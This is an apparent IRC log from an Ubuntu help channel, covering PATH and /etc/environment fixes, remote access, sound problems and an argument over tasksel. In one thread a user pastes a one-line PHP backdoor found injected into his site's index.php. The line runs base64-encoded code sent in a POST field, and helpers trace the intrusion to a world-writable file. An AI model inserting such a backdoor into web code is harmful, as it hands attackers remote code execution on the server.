[14:37] <ikonia> Wiz_KeeD: the issue you have is that your kernel module for the wifi card is closed source/propitary,
[14:37] <ikonia> Wiz_KeeD: so in terms of bug fixing, options are limited
 listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5,now the paste option is deactivared for these volumes,how can i activate it?
[14:38] <Guest20717> ikonia: this is all that i put in the file yesturday
[14:38] <Guest20717> JAVA_HOME=/usr/lib/jvm/java-6-openjdk-i386
[14:38] <Guest20717> JRE_HOME=/usr/lib/jvm/java-6-openjdk-i386/jre
[14:38] <Guest20717> PATH="...(other path):$JAVA_HOME:$JRE_HOME"
[14:38] <ikonia> DrFaustus: repeating the same thing and starting with "listen" isn't going to get much interest
[14:39] <ikonia> Guest20717 I want to see the full $PATH
[14:39] <ikonia> Guest20717: not you editing it
[14:39] <AcidRain2012> how can i see who modified a file last?
[14:39] <AcidRain2012> and how they modified it
[14:39] <Guest20717> ikonia: that is the current value of PATH
[14:39] <ikonia> AcidRain2012: you can't
[14:39] <ActionParsnip> AcidRain2012: you can if you use tripwire
[14:39] <Wiz_KeeD> ikonia, yes but I think there is another one except the one i'm using, the one suggested in Additional Drivers? that might work better? idk
[14:39] <ActionParsnip> AcidRain2012: the file system doesnt do it by default
[14:39] <AcidRain2012> ActionParsnip, ill look into it
[14:39] <Guest20717> ikonia: yes the file system is read only]
[14:39] <ikonia> Guest20717: so it actually says "....(other path)"
[14:40] <ActionParsnip> Guest20717: thats why then
[14:40] <ikonia> Wiz_KeeD: I don't beleive so
[14:40] <ActionParsnip> Guest20717: sudo mount -o rw,remount /
[14:40] <DrFaustus> ikonia,sorry 4 the disconvenience
[14:40] <ikonia> Wiz_KeeD: the older option was to use ndis - but that is very much frowned upon
[14:40] <AcidRain2012> ActionParsnip, ive had 2 near miss hack attempts
[14:40] <ikonia> AcidRain2012: how do you know this ?
[14:41] <AcidRain2012> if (isset($_POST['update'])) {eval(base64_decode($_POST['update'])); exit;}
[14:41] <Guest20717> ActionParsnip: am on a live dvd, am i to run this command on the login console screen?
[14:41] <ikonia> AcidRain2012 what does that mean ?
[14:41] <ActionParsnip> Guest20717: then / is on the liveCD, you will need to use the mount point of the partition
[14:41] <AcidRain2012> its a php script that has been injected into my index.php file. it executes php code from a $_GET[] request
[14:42] <ikonia> AcidRain2012: so your machine has been compromised then
[14:42] <Twinkletoes> AcidRain2012: assuming you know who the hack attempts were from, you shold be able to sort that.  Assuming someone is gaining unauthorised access to your system... using ssh etc. consider fail2ban
[14:42] <smw94> i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx
[14:42] <ikonia> AcidRain2012: you need to conisder re-installing the OS and applications
[14:42] <ikonia> Guest20717: that is your problem then - the $PATH is messed up
[14:42] <AcidRain2012> ikonia, this is a clean install
[14:42] <AcidRain2012> clean install as of 1 week ago
[14:42] <ikonia> AcidRain2012: so what are you looking for now then ?
[14:42] <AcidRain2012> ikonia, well id like to know what ip address modified this file last
[14:43] <AcidRain2012> i couldnt find it in access.log
[14:43] <ikonia> AcidRain2012: how do you expectt he file system to do that ?
[14:43] <ActionParsnip> AcidRain2012: run:  last    to see the last few connections
[14:43] <trafalgar> Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right. When I log in that way, it accepts it but my username shows as a random string I have never seen
[14:43] <ikonia> AcidRain2012: and how can it be a clean install if you are still looking at the logs ?
[14:43] <ikonia> AcidRain2012: if it was a clean install the logs and file history would be gone
[14:43] <smw94> i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx
[14:43] <Guest20717> ikonia: how can make it ok, this has been what am trying to do, but  file system files are read only
[14:43] <ActionParsnip> trafalgar: i'd ask in #ubuntuforums
[14:43] <AcidRain2012> ikonia, i said as of 1 week ago... this has happened in past 6 days
[14:43] <ikonia> Guest20717 copy the environment file from someone elses machiune
[14:43] <AcidRain2012> this actually happened on the 2nd day i had formatted
[14:43] <ActionParsnip> smw94: when the link drops, run:  dmesg | tail    it may give clues
[14:43] <ikonia> AcidRain2012: right - so your machine is compromised, it needs a clean install
[14:44] <ikonia> AcidRain2012: and a clean application install
[14:44] <ikonia> AcidRain2012: you've been compromised, nothing is fact
[14:44] <Wiz_KeeD> Twinkletoes, the softwares that you use to edit the pdf, does it keep it in the exact same form?
[14:44] <trafalgar> ActionParsnip: Can't post if I don't log in, and my question is about the behavior of logging in
[14:44] <smw94> ActionParsnip: just plug and replug the device
[14:44] <Guest20717> ikonia: you gave the real value of PATH before and i have it, my issue is how to correct the file when restricted?
[14:44] <Wiz_KeeD> I remember trying out pdfedit or something of that sort before and allthough it decoded it, it changed the font and mangled everything up
[14:45] <ikonia> Guest20717: I can't as I don't have that file, someone else on ubuntu - the same version as you can
[14:45] <trafalgar> ActionParsnip: nvm lol gotchya
[14:45] <AcidRain2012> installing tripwire
[14:45] <ikonia> AcidRain2012: that will not help now
[14:45] <ActionParsnip> trafalgar: cool
[14:45] <Twinkletoes> Wiz_KeeD: Why don't you try it?
[14:45] <ikonia> AcidRain2012: your system is compromised - it is useless to try to secure it now
[14:45] <AcidRain2012> ikonia, ill remove the malicious code and wait for another attack
[14:45] <Twinkletoes> Wiz_KeeD: It serves my needs, is all I can say
[14:45] <ikonia> AcidRain2012: you can't do that
[14:45] <ikonia> AcidRain2012: you don't know what else is changed and what else has been hidden
[14:45] <ActionParsnip> AcidRain2012: if you have been compromised then anything could have been affected, so you may install stuff but it may be thwarted or show no issues
[14:45] <ikonia> AcidRain2012: hence why clean install and application re-install is the only way
[14:45] <Twinkletoes> Wiz_KeeD: Inkscape can also save as PDF
[14:45] <AcidRain2012> ikonia, this is the 3rd time
[14:45] <ikonia> AcidRain2012: then you need to plug the hole
[14:46] <ikonia> AcidRain2012: I'm guessing wordpress or something like that is being exploiuted
[14:46] <Wiz_KeeD> Did you edit pdf that were nicely aligned with fonts and images and edited that stayed in the same form?
[14:46] <AcidRain2012> ikonia, well im mostly here asking questions because i cant find the hole
[14:46] <ikonia> AcidRain2012: right - so installing tripwire now is pointless
[14:46] <AcidRain2012> ikonia, no wordpress
[14:46] <AcidRain2012> :( removing tripwire
[14:46] <ikonia> AcidRain2012: explaining the problem may get people to help you how to fix it
[14:46] <clue_h> AcidRain2012, where did you go to get infected
[14:46] <ikonia> AcidRain2012: then you can do a clean install and have confidence you've plugged it
[14:47] <AcidRain2012> ikonia, i was hacked. reinstalled ubuntu. hacked again
[14:47] <ikonia> AcidRain2012: right so you have a problem, you need to work out by telling us the details how to fix it
[14:47] <AcidRain2012> explanation of problem: if (isset($_POST['update'])) {eval(base64_decode($_POST['update'])); exit;} is added to index.php. how? idk
[14:47] <ikonia> AcidRain2012: that is not detail
[14:47] <ikonia> AcidRain2012: that is random stuff
[14:47] <Guest20717> ikonia: then may be it was some one else, i asked for the value and some one gave me this      PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"  on this same site
[14:47] <ikonia> Guest20717: great
[14:47] <AcidRain2012> ikonia, im giving you all the information that i have
[14:48] <AcidRain2012> idk how it got there
[14:48] <ikonia> AcidRain2012: no you're not - what application is being compromised
[14:48] <Pici> AcidRain2012: So you're running a web server?
[14:48] <ikonia> AcidRain2012: just a random line of code is nothing
[14:48] <AcidRain2012> lol. ikonia idk
[14:48] <AcidRain2012> i would say apache2
[14:48] <ikonia> AcidRain2012: you don't know what application you are running
[14:48] <ikonia> AcidRain2012: what is the name of the file that's being compromised ?
[14:48] <AcidRain2012> apache2 is the only service on my machine that has access to those files
[14:48] <peetaur> AcidRain2012: to prevent easy hacking is very simple ... disable root login; disable password and pam auth and use pubkey only; firewall the machine from the WAN; and if paranoid, any untrusted network software should run in apparmor, like skype, browsers, mail client, etc.
[14:48] <sathish> Hey guys, I have installed Ubuntu 13.04 on my laptop but the brightness lock doesn't work, It reverts back to highest brightness every few seconds, How do I fix it? Is there any solutions available? It irritates me a lot :-|
[14:48] <ikonia> AcidRain2012: what is the name of the file that's being compromised ?
[14:48] <Guest20717> ikonia: now how can i go about the restriction issue, i have tried using nano command on the login console screen, and i was restricted
[14:49] <AcidRain2012> /var/www/wwb/index.php <-- compromised file
[14:49] <ikonia> Guest20717: fix it from a live cd
[14:49] <ikonia> AcidRain2012 what is wwb ?
[14:49] <AcidRain2012> just a website im working on
[14:49] <ikonia> AcidRain2012: ok, so the code is code you are writing yourself ?
[14:49] <Guest20717> ikonia: still the same restriction
[14:49] <ikonia> Guest20717: no it's not
[14:49] <AcidRain2012> ikonia, i would never write that code. EVER.
[14:49] <ikonia> AcidRain2012: please try to LISTEN
[14:50] <ikonia> AcidRain2012: the page that is being exploited is code that you are writing yourself from scratch, yes/no
[14:50] <AcidRain2012> yes
[14:50] <Guest20717> ikonia: then let me confirm the current restriction and get back while on a live cd
[14:50] <ikonia> AcidRain2012: ok, can you show me the permissions of the file
[14:50] <AcidRain2012> ikonia, sure, hang on
[14:50] <ActionParsnip> ikonia: you read my mind
[14:50] <ActionParsnip> ikonia: my money is on 777 :)
[14:50] <ikonia> I don't think so
[14:50] <ikonia> I suspect it's just owned by the apache use and group
[14:51] <AcidRain2012> -rw-rw-rw- 1 root root 3335 Sep 12 22:25 index.php
[14:51] <ikonia> AcidRain2012: it's world writable
[14:51] <AcidRain2012> zomg
[14:51] <ikonia> AcidRain2012: that means anyone (including your webserver process) can write to it
[14:51] <AcidRain2012> ikonia, ill change now
[14:51] <ikonia> so an injection into your webserver into a known named file (index.php) will be a BIG hole
[14:52] <ikonia> AcidRain2012: it's too lage to change it now
[14:52] <ikonia> AcidRain2012: your machine is compromised !
[14:52] <KI7MT> The POST update is loading more code,  and the encode post update is executing it, you need to pluc the whole in how they are getting the code to the server in the first place.
[14:52] <KI7MT> plug ..
[14:52] <AcidRain2012> ikonia, i can tell that a bot has done this
[14:52] <ikonia> AcidRain2012: so ?
[14:52] <ikonia> AcidRain2012: what does that have to do with it
[14:52] <ActionParsnip> ikonia: just as bad
[14:52] <nezZario> ikonia: your mom is compromised
[14:52] <AcidRain2012> ikonia, because the given code above CANNOT be executed.
[14:53] <ikonia> AcidRain2012: you have no idea what you are saying
[14:53] <ikonia> AcidRain2012: your machine is compromised, changing permissions now is pointless
[14:53] <ikonia> AcidRain2012: you need to lock down your webserver much better
[14:53] <ikonia> AFTER you have done a re-install
[14:53] <Guest20717> ikonia: it pops up and error that says: your document could not be saved, as it was not possible to write to /media/......../etc/environment          check that you have write access to this file or that enough disk space is available
[14:53] <Guest20717> that is when i try saving
[14:54] <Guest20717> am changing my name to a much simpler string like etc
[14:54] <wessel> Is it possible to set WIN + M to minimize all windows without messing up WIN, type some text (e.g. xchat)
[14:55] <etc> ikonia: this is me Guest20717
[14:55] <wessel> Where WIN + M = both keys at same time, WIN, <some text> is press win key and then just type
[14:56] <krux> wessel, ctrl + super + D does that
[14:56] <krux> nm
[14:57] <sathish> Hey guys, I have installed Ubuntu 13.04 on my laptop but the brightness lock doesn't work, It reverts back to highest brightness every few seconds, How do I fix it? Is there any solutions available?
[14:58] <wessel> krux, super is WIN right? it works win + ctrl + d
[14:58] <wessel> would be nice if win + d already did the trick
[15:00] <krux> wessel, yes.. if you hold super for a sec or two it will show you all the options you got..
[15:00] <wessel> oh cool!
[15:01] <KI7MT> That's one of the best features in Dash :-)
[15:02] <slierfox> Hi all, Im having a problem getting a STK1160 USB to analogue input working, its supposed to be supported but still wont work ? any help appreciated.
[15:02] <quickdry21> I'm running into an issue with some upstart jobs. start works fine, but when i stop them, the command hangs and nothing happens. When i Ctrl+C, the process controlled by upstart is still running. After this happens, any time I start or stop the job, the start/stop command hands and I have to Ctrl+C it, and the job controlled by upstart hasn't been start/stopped.
[15:03] <__raven> hi
[15:03] <__raven> how to "ping" an external hdd to prevent it from going to standby? hdparm does not work.
[15:03] <BluesKaj> slierfox:  and what's a STK1160?
[15:04] <wessel> why does software center install eclipse 3.8 by default? There is 4.x already
[15:04] <ActionParsnip> !latest | wessel
[15:04] <slierfox> BluesKaj  Can I post a link for the wiki for it here ?
[15:04] <etc> ActionParsnip: thanks for your precious responses, am still stuck abit, it is me Guest20717
[15:05] <wessel> Okay, fair enough.
[15:05] <BluesKaj> slierfox:  yes
[15:05] <ActionParsnip> etc: remount the file system as writable
[15:05] <clue_h> __raven, how long does it take before powering down?
[15:05] <slierfox> BluesKaj - http://linuxtv.org/wiki/index.php/Stk1160_based_USB_2.0_video_and_audio_capture_devices
[15:05] <mrrcp> hey whats the best way to remote into another ubuntu system?
[15:05] <mrrcp> i need to help my brother fix something with NETFLIX
[15:06] <etc> ActionParsnip: how can i do that please
[15:06] <clue_h> mrrcp, software like remmina
[15:06] <__raven> clue_h, very short - around two minutes and thats not good for the mechanical parts
[15:07] <ActionParsnip> etc: what mount point is the partition using?
[15:08] <mrrcp> clue_h:  but what if i am in like a hotel and he needs to connect to my laptop
[15:08] <etc> ActionParsnip: i think am not getting you well about mount point, responding in a few secs
[15:08] <mrrcp> will remmina allow us ?
[15:09] <BluesKaj> slierfox:  ok , not familiar with those devices , sorry
[15:09] <slierfox> BluesKaj - ok thanks anyway
[15:09] <ActionParsnip> mrrcp: why would a hotel need to connect to your laptop?
[15:09] <clue_h> __raven, without knowing your hd, i would suggest a cronjob to write to it- but as it is every two minutes that might be over kill
[15:09] <mrrcp> im just giving a example
[15:09] <LinuxGold> ActionParsnip: because NSA asked hotel to do that for them.
[15:10] <KI7MT> __raven, simple way, do a read or write to the drive. Check your BIOS and make sure there is not some strange power saving thing going on, 2 minutes is very short. lastly, look at the HD config params in the kernel.
[15:10] <mrrcp> so my brother is at school and has no control over IP/PORTS etc.. How can i remote into his computer
[15:10] <mrrcp> whats the best way
[15:10] <ActionParsnip> LinuxGold: im sure thats very true....
[15:11] <clue_h> mrrcp, if on the public internet, using remote desktop software is perhaps not a good idea without a vpn or another solution offering encryption.
[15:11] <mrrcp> that a better example i guess
[15:11] <mrrcp> so is there anything I could use?
[15:11] <mrrcp> other than teamviewer?
[15:11] <ActionParsnip> mrrcp: there is no single best way, or the other ways wouldnt exist
[15:11] <ActionParsnip> mrrcp: what is he remoting on to do?
[15:11] <mrrcp> ActionParsnip: i need to remote in to him
[15:11] <mrrcp> but he is on public wifi
[15:11] <ActionParsnip> mrrcp: to do what?
[15:12] <mrrcp> to show him around a few things
[15:12] <mrrcp> and install netflix
[15:12] <mrrcp> for him on ubuntu
[15:12] <ActionParsnip> mrrcp: if the public wifi router is blocking you it will thwart any attempts at all
[15:12] <KI7MT> Probably best for him to remote out than to try and hit a moving target.
[15:12] <ActionParsnip> mrrcp: you can install netflix in terminal
[15:12] <ActionParsnip> mrrcp: you can install openssh-server and connect to that and install netflix
[15:13] <clue_h> mrrcp, i have not used remmina but i believe ssh is supported... but you could just ssh into his box
[15:13] <clue_h> mrrcp, also you might get done for remoting into their network lol
[15:13] <mrrcp> clue_h: its a laptop
[15:14] <clue_h> if as i understand it, you said the other guy is at college
[15:14] <ActionParsnip> mrrcp: sudo apt-add-repository ppa:ehoover/compholio; sudo apt-get update; sudo apt-get install netflix-desktop
[15:14] <ActionParsnip> mrrcp: one command, done
[15:14] <clue_h> there you go
[15:14] <ActionParsnip> mrrcp: you dont need a full desktop to INSTALL netflix at all
[15:15] <kalekip1> Hey, my sound doesn't work anymore on Ubuntu 13.04 :/ Yesterday it worked fine
[15:15] <ActionParsnip> kalekip1: killall pulseaudio; rm -r ~/.config/pulse*    wait 10 seconds and reboot
[15:15] <LinuxGold> it still works, you're just turned deaf.
[15:15] <kalekip1> ActionParsnip: I don't think I am using pulse audio
[15:16] <ActionParsnip> kalekip1: its default installed
[15:16] <mrrcp> ActionParsnip: i understand that.. i want to have the ability to remote in when needed where every he is at to assist him.. Not really looking for a work around. I just was wondering if there were any tools out there other than TeamViewer to allow me to do this..
[15:16] <ActionParsnip> mrrcp: you can use vnc through an ssh tunnel
[15:16] <kalekip1> ActionParsnip: Failed to open output device: pa_stream_writable_size() failed: Connection terminated
[15:16] <mrrcp> yea.. but you still need a ssh tunnel to complete
[15:16] <mrrcp> ok i think i figured the answer out
[15:17] <etc> ActionParsnip: Mounted on /media/dfd5cf8d-f50e-4d76-af87-3628e8879a78
[15:17] <KI7MT> ssh is probably the best tool for the job.
[15:17] <mrrcp> there isnt a tool built in ubuntu to allow us to do that.. but if i have a vpn or ssh tunnel we can
[15:17] <OerHeks> mrrcp, there must be a reason why those ports at that school are closed.
[15:17] <ActionParsnip> etc: sudo mount -o remount,rw /media/dfd5cf8d-f50e-4d76-af87-3628e8879a78
[15:19] <kalekip1> I checked my headset. It's not just the stereoboxes which aren't working.
[15:19] <__raven> how to "ping" an external hdd to prevent it from going to standby? hdparm does not work.
[15:20] <kalekip1> ActionParsnip: No idea?
[15:21] <mikkelam> Hi there. I am on a network where i am not able to port forward. Is there any alternative to utilize?
[15:21] <ActionParsnip> __raven: could cron a job to write to a file on the strage every 30 seconds or so
[15:21] <ActionParsnip> kalekip1: have you searched the web for what the error means?
[15:21] <akshay2000> mikkelam: What're you trying to achieve exactly?
[15:21] <__raven> ActionParsnip, thats a bit difficult because the whole partition is encrypted - any byte in the mbr i could flip?
[15:22] <clue_h> __raven, and within that job probably try udisks  with something like --ata-smart-wakeup
[15:22] <mikkelam> I want to open a port for torrenting
[15:22] <MrMonkey13> new to linux here :-)
[15:22] <ActionParsnip> __raven: if its decrypted and accessible then it doesnt matter if it is encrypted
[15:22] <rypervenche> MrMonkey13: Welcome :)
[15:23] <silvio-> Hey guys how do i start a second mysql instance using mysql_safe on system start up?
[15:23] <akshay2000> mikkelam: Open port from where? Your router? Because, your Ubuntu box should already have the ports open unless you have seperate firewall installed.
[15:23] <KI7MT> var1=$(mktemp ./tm.XXX) && rm "$var1" every 170 sec or so.
[15:23] <MrMonkey13> Q: alright, so when running a program, all I have to do is type the name + & into terminal right, like gimp &
[15:24] <akshay2000> MrMonkey13: You could run it even without the & at the end, I suppose.
[15:24] <kalekip1> ActionParsnip: Yea, for 5 minutes, I'll Google a bit longer :/
[15:24] <mikkelam> akshay2000: I do not have any firewall myself, however my ISP has blocked all incoming ports. I am connected to a WAN with my router, which is already port forwarded
[15:24] <MrMonkey13> akshay2000: they told me to use &, but cool I think I get this
[15:24] <rypervenche> MrMonkey13: I would use the GUI to open it, but you can open it using "command & disown" then you can close the terminal safely.
[15:25] <wessel> Does it make sense to create clickable/runnable desktop icons? Or is this handled differently on Ubuntu?
[15:25] <wessel> For example, I'd like to have a clickable java -jar RapidMiner.jar
[15:25] <ActionParsnip> wessel: you can have desktop icons to launch stuff if you want
[15:25] <wessel> and some Firefox -P MyProfile -no-remote
[15:25] <MrMonkey13> rypervenche: ah, ty
[15:25] <akshay2000> mikkelam: I'm afraid, if ISP is blocking the connections, you can't do much.
[15:25] <ActionParsnip> wessel: if you make .desktop files in /usr/share/applications you can launch them from Dash and even drag them to the Unity launcher
[15:26] <wessel> okay cool
[15:26] <akshay2000> You could tunnel your connection over something though! mikkelam. Something like VPN or tunneling connection over another box which does have open ports should work.
[15:27] <KI7MT> wessel, more info on launchers: https://help.ubuntu.com/community/UnityLaunchersAndDesktopFiles
[15:27] <OerHeks> KI7MT +1
[15:28] <kalekip1> ActionParsnip: Google did not help. I tried adding sudo before and it worked. Now I'll reboot to try it. Thanks
[15:28] <mikkelam> akshay2000: Thanks, i'll consider that!§!
[15:30] <etc> ActionParsnip: still am restricted to write to /etc/environment
[15:31] <MrMonkey13> Agh, this isn't right, does someone know where the "files" file manager shows free space on a disk?
[15:32] <clue_h> MrMonkey13, du -h from command line might be an alternative
[15:32] <ActionParsnip> etc: try:  gksudo gedit    then open the file, remember to open the one ikn the mount point. the /etc folder is the one for the liveCD envionmen
[15:32] <clue_h> i mean df -h
[15:33] <rypervenche> MrMonkey13: I don't really use the GUI anymore, but you can use "df -h" from the command line.
[15:33] <clue_h> or system monitor>file systems tab
[15:34] <MrMonkey13> hmm. thanks guys. I'm going to need a file manager for my file stuff though. np, I already know where I can find some new ones, just wondering whether I could reconfigure the existing one
[15:34] <KI7MT> MrMonkey13, There's lots of ways to show it, but I dont think Nautilus has it built in. You can use. System Monitor, Conky, df / du term commands, etc.
[15:35] <MrMonkey13> yeah that's a... weird thing to exclude
[15:36] <kalekip1> ActionParsnip: I didn't work
[15:36] <KI7MT> MrMonkey13, I was wrong, with dconf-editor: gsettings set org.gnome.nautilus.window-state start-with-status-bar true enables it.
[15:36] <litropy> I want to make it so that I don't have to ente my password every time I try to connect to my university's wifi. My university's connection is a bit non-standard. It uses PEAP with MSCHAPv2, and no certificate.
[15:36] <litropy> enter*
[15:36] <KI7MT> set to false to disable it.
[15:36] <kalekip1> btw, why does my pc reboot if I select "Shut Down ..."
[15:36] <kalekip1> ?
[15:36] <clue_h> MrMonkey13, if nautilus, choose 'go' > then computer, right click file system and it's there in properies as 'free space'
[15:37] <ActionParsnip> kalekip1: do you have the latest BIOS?
[15:37] <KI7MT> Yeah, what he said, that works to :-)
[15:37] <kalekip1> ActionParsnip: How can I check that?
[15:37] <ActionParsnip> kalekip1: manufacturers website
[15:38] <kalekip1> ActionParsnip: It's from 2012, I didn't manually change it
[15:38] <MrMonkey13> chlue_h: hmm, no my precise pangolin doesn't have nautilus. I found it's named Files. good to know tho
[15:38] <clue_h> i'm on precise too lol
[15:38] <clue_h> oh ubuntu 2d
[15:39] <MrMonkey13> *not sure if I said that right :-P
[15:39] <litropy> Windows computers don't have this problem. I think it's because nm wants to make sure I'm not using a certificate, but I'm not sure as to the reason why.
[15:39] <jemand> how do I change the applications that display under the "applications" tab in lucid lynx?
[15:40] <crav> any idea why I'm unable to boot without first loading an install disk?
[15:40] <jemand> for instance, I have gedit on here, but I want ti to show in "office" tools
[15:40] <litropy> dmesg isn't saying anything significant/
[15:41] <KI7MT> MrMonkey13, clue_h with right-click method, need to make sure your on the correct partition, say fer example if home was mounted outside of /root, system would tell you /root free space, not /home.
[15:41] <clue_h> this is why i just use df -h
[15:41] <ActionParsnip> crav: have you written grub to the MBR of the internal disk?
[15:42] <xebra> hi, anyone here knows xampp (you get apache + php + lots of stuff all in one installation)
[15:42] <crav> don't think so.
[15:42] <OerHeks> xebra we do not support xampp, only lamp
[15:43] <kalekip1> xebra: I do. USe LAMP instead
[15:43] <kalekip1> xebra: sudo apt-get install lamp-server^ phpmyadmin
[15:43] <ActionParsnip> !lamp | xebra
[15:43] <KI7MT> Dash >> Disk Analyzer is accurate for all nodes as well.
[15:44] <kalekip1> The X stands for cross-platform if I'm not mistaken. You can use XAMP on Windows as well as Linux as well as Mac
[15:44] <kalekip1> I'd just stick with WAMP (for windows) and LAMP for Linux
[15:44] <KI7MT> xebra, open xterm >> tasksel, select LAMP, <ok> enter passwords, done.
[15:45] <jemand> is it not possible to add programs to the applications tab?
[15:45] <kalekip1> KI7MT, I already told him what he could do. And that's the best answer
[15:45] <crav> well yes, grub loads but not until I  "boot from first HDD", after the
[15:45] <jemand> oh well, I can open the program other ways, it just is less convenient
[15:45] <kalekip1> KI7MT: tasksel can harm your Linux if you don't use it correctly.
[15:45] <m_tadeu> hi..how can I make apt use the system proxy?
[15:46] <KI7MT> How can you mis-use it, its a select or deselect, that's it.
[15:46] <OerHeks> !tasksel
[15:46] <kalekip1> KI7MT: Many people tend to deselect stuff. Deselecting = uninstalling
[15:46] <etc> ActionParsnip: thanks a lot, that solved the issue, :)
[15:46] <MrMonkey13> ah well, what I really wanted to get into is something I noticed with nautilus (other box) and this simply named Files utility as well, which is that when moving files with the mouse it sorts the files into the list. with Windows I came to appreciate that new files appearing in a directory would be placed at the end of the list, until I refresh the list manually.  I don't suppose there's a gsetting for that, off the top of ur heads?
[15:46] <ActionParsnip> etc: yay
[15:46] <etc> now about to restart
[15:46] <mydog2> hmm.. ssh question.. on a target system.. i removed thew authorized_keys file..
[15:46] <KI7MT> It's the default and preferred method for server installs.
[15:46] <mydog2> from the client.. i was still able to login with no passwd...
[15:47] <kalekip1> KI7MT: Like I said, sudo apt-get install lamp-server^ phpmyadmin  is the preferred way.
[15:47] <mydog2> is there a caching file somewhere that i can blow away to test ?
[15:47] <KI7MT> It's the same thing :-) ..
[15:47] <swaq> Guys. I'm swaqqing.
[15:47] <kalekip1> KI7MT: Really?... It's not.
[15:48] <KI7MT> well also lamp-server isn't ins apt cache,
[15:48] <kalekip1> KI7MT: the caret (^) means it's from tasksel. It IS different.
[15:49] <Pici> kalekip1: Its no different.
[15:49] <kalekip1> Pici: In the end it isn't, but when you install it it is.
[15:49] <KI7MT> Ok fare enough, when doing a server install, tasksel is the methood it uses.
[15:50] <kalekip1> KI7MT: Pici: http://askubuntu.com/questions/252056/should-i-use-tasksel-tasks-in-apt-or-install-regular-metapackages
[15:51] <jhutchins> mydog2: There are two authorized_keys files.
[15:51] <swaq> Can you guys feel my swaq, because it's coming in hard.
[15:51] <kalekip1> !ot
[15:51] <etc> ActionParsnip: what advise can you give me, i mis-editted my /etc/environment file as i was installing tomat7, is there another place where i can add the java_home, jre_home, and path value rather than /etc/environment
[15:52] <mydog2> jhutchins,  - hmm.. the 1st ~/.ssh/authorized_keys..  the other would be??
[15:53] <faugusztin> etc: /etc/profile.d ?
[15:54] <KI7MT> kalekip1, so your point is not to use tasksel directly but type out the command manually wiht the carrot [^]
[15:54] <jhutchins> mydog2: I may be wrong, I was thinking there was a system-wide authorized_keys in /etc/ssh/.
[15:54] <kalekip1> KI7MT: Have you ever used that way?
[15:54] <Hundred> is there a command to upgrade my version of Ubuntu to a newer version instead of downloading the liveCD?
[15:54] <kalekip1> KI7MT: It's a lot easier, shorter and safer.
[15:55] <Pici> kalekip1: Did you actually read the page that you linked me to?
[15:55] <jhutchins> !upgrade
[15:55] <kalekip1> Pici: Yes, I did...
[15:55]  * jhutchins gets his bots mixed up...
[15:56] <KI7MT> No, not for any of the hundreds, probably closer to 1000's of server server installs Iv'e done, always used tasksel directly.
[15:56] <Pici> kalekip1: There is nothing non-safe about installing using tasksel.
[15:57] <jhutchins> Hundred: https://help.ubuntu.com/community/UpgradeNotes
[15:57] <kalekip1> Pici: I've heard many people failing, because they unchecked a few of the list. They thought it was unneccerarily, but in the end they saw that unchecking = uninstalling.
[15:57] <jhutchins> Hundred: It's pretty easy and automatic.
[15:58] <KI7MT> Or an array script for i in ${post_ins[@]}; do sudo -yq "$i"; done
[15:58] <Pici> kalekip1: removing tasks can cause some unintended issues, but installing them is just fine.  You don't need to use taskel remove things even if you used it to install things.
[15:58] <swaq> </3 k1l
[15:58] <Pici> swaq: This channel is for Ubuntu support only. If you can't be on-topic, then you will be removed.
[15:59] <KI7MT> whoos, sri wrong channel :-)
[15:59] <kalekip1> KI7MT: Pici: I don't say it is wrong. I only said that it's not the preffered way. It's also quicker. Did you guys ever did the way I do?
[15:59] <kalekip1> preferred*
[15:59] <Hundred> jhutchins so if i have 12.04 i can't upgrade to 13.04?
[15:59] <Pici> kalekip1: Where does it say that it is not the preferred way?
[15:59] <swaq> Pici: But my swaq. I like to swaq while I Ubuntu.
[16:00] <faugusztin> Hundred: you can
[16:00] <KI7MT> I suppose it depends on the persons level of knowledge, or what they are comfortable with, preferred could be different for each.
[16:00] <kalekip1> Pici: Not in the page I sent you, but somewhere else. Do you really want me to waste my time to convince you?
[16:00] <kalekip1> KI7MT: True.
[16:01] <Hundred> faugusztin but i have to upgrade 12.04 to 12.10 then to 13.04?
[16:01] <jenkins101> hi,
[16:01] <MrMonkey13> sorry this is newb is overwhelmed.  where would I find drivers on my disk?  I guess not by browsing around in /dev/ huh? I want to check out my ethernet driver's version and such
[16:01] <faugusztin> Hundred: at worst you will do upgrade twice,  can't remember how it was when i did it
[16:01] <Pici> kalekip1: nevermind.
[16:01] <jenkins101> any one noticed that lates firefox update braeks umask support in firefox?
[16:01] <clue_h> MrMonkey13, try lsmod
[16:02] <etc> faugusztin: which file format is the file that am going to add to /etc/profile.d
[16:02] <etc> ?
[16:02] <faugusztin> etc: it is a standard shell script, just something which is added to your profile
[16:02] <kalekip1> Pici: If you feel comfortable using tasksel, go on. I won't stop you. But at least tell people that my way is quicker and safer. (again, people unchecking stuff = uninstalling)
[16:03] <faugusztin> etc: https://help.ubuntu.com/community/EnvironmentVariables
[16:03] <clue_h> MrMonkey13, and also lspci | grep net. both of those commands may help
[16:03] <KI7MT> MrMonkey13, drivers are built into the kernel or built as a module, have a look at lsmod: lsmod | less
[16:05] <bejker> please help! what to do when i have diferent driver instaled and diferent driver is in kernel
[16:05] <faugusztin> etc: if you look at /etc/profile, you can see it goes through those /etc/profile.d/*.sh scripts and adds them to your enviroment
[16:05] <bejker> system is crash
[16:05] <Pici> kalekip1: I'm not going to tell anyone that, sorry.
[16:05] <kalekip1> Pici: No problem, you live in a free world (where people get killed :o).
[16:06] <MrMonkey13> thx again, clue_h, KI7MT.
[16:06] <mydog2> jhutchins,  - pretty sure you were/are!! no prob...
[16:06] <kalekip1> Back to my question, I don't hear any output sound on Ubuntu 13.04. Yesterday everything worked fine.
[16:06] <KI7MT> It's no different that changing one word for another, apt-get install v.s. apt-get remove, it's all dangerous if used incorrectly.
[16:07] <mydog2> it appears that just appending extra text on to the filename.. is still read as authorized_keys but prepending to the file.. gets the test i want..
[16:07] <kalekip1> KI7MT: "remove" and uncheck is totally different. Bu
[16:07] <linuxearth> please solve my issue: http://paste.ubuntu.com/6124525/
[16:07] <faugusztin> kalekip1: well, can you rule out hardware issue first ? In my case when this happened it was the line out connector on the motherboard :D
[16:08] <linuxearth> please solve my issue: http://paste.ubuntu.com/6124525/
[16:08] <kalekip1> linuxearth: IP address is safe. Your country can be easily be guessed though. It's almost always correct.
